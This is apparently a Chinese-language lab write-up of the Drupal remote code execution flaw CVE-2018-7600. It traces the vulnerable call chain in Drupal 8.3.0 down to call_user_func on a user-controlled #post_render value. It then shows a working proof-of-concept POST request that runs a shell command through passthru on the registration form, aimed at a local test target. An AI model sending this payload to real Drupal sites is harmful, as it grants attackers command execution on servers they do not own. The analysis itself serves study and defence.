0x00 漏洞概述
编号为CVE-2018-7600。
Drupal是用PHP开发的开源内容管理框架(CMF),由内容管理系统(CMS)和PHP开发框架(Framework)共同组成。
Drupal的问题稍显常规,来自call_user_func()
函数。使用Seay源代码审计系统时就会提示可能导致代码执行。Drupal Render API对于#
有特殊的处理,攻击者可利用Drupal表单渲染的问题执行恶意代码,达到完全控制。
影响版本:Drupal 6.x、Drupal 7.x、Drupal 8.x。
0x01 漏洞源码
选用了Drupal 8.3.0 Core的源码进行审计。
追踪函数
首先追踪call_user_func()
函数。整个项目也就用了一百多次,这一处用于render的就是存在问题的:
503行的call_user_func()
函数会把第一个参数作为回调函数,之后的参数作为回调函数的参数。向上看去,498行开始说明标签#post_render
是用户可控的,这就导致了$elements
和$callable
都是可控的了。
追踪调用链
调用溯源,向上追溯到doRender
方法,再到render
方法……最后可知调用链为:
- FormBuilder.php中的
buildForm
; - ManagedFile.php中的
uploadAjaxCallback
; - NestedArray.php中的
getValue
; - Renderer.php中的
renderRoot
; - 向下,
render
; - 向下,
doRender
; - 向下,
call_user_func
。
uploadAjaxCallback
由于buildForm
就是用来接收参数的,没有研究价值,于是直接看uploadAjaxCallback
。
这里的$form
作为参数传入,并在179行使用getValue()
处理。getValue()
的第二个参数form_parents
是通过get()
方法(见176行)获取、经过/
分割得到的。这两个参数又都是可控的。
getValue
继续深入到getValue
函数。getValue
是对数据进行了一些预处理,包括遍历、判断、赋值。
Renderer.php中的几处
完成处理并返回后,$form
又进入renderRoot
(见ManagedFile.php的193行)。
Renderer.php中,进入render
方法(139行):
再进入doRender
,位于195行:
经过几百行的if
判断,来到503行有问题的call_user_func
。
0x02 POC
这里利用的是注册表单(还有若干处可填写的表单可以利用),这种表单在系统中是renderable的。
提交的mail
数组还挺复杂,独独是没有对其输入值类型进行清洗,允许了攻击者传入数组装载函数名与函数参数。
POST URL:
[靶机URL]/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
POST数据:
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=ls -l /tmp
0x03 利用流程
访问靶机
该镜像是已经完成部署了的,实际上前序还包括数据库配置等工作。
选择注册新账户
BurpSuite抓包改包
可以先随便填写提交一次,方便得到包体格式。
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 127.0.0.1:56489
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:56489
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1:56489/user/register
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 115
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=ls -l /tmp
注意:标明了Content-Type,使POST Body的格式相对简单,避免了原来的大量分隔符形式。
至此大功告成。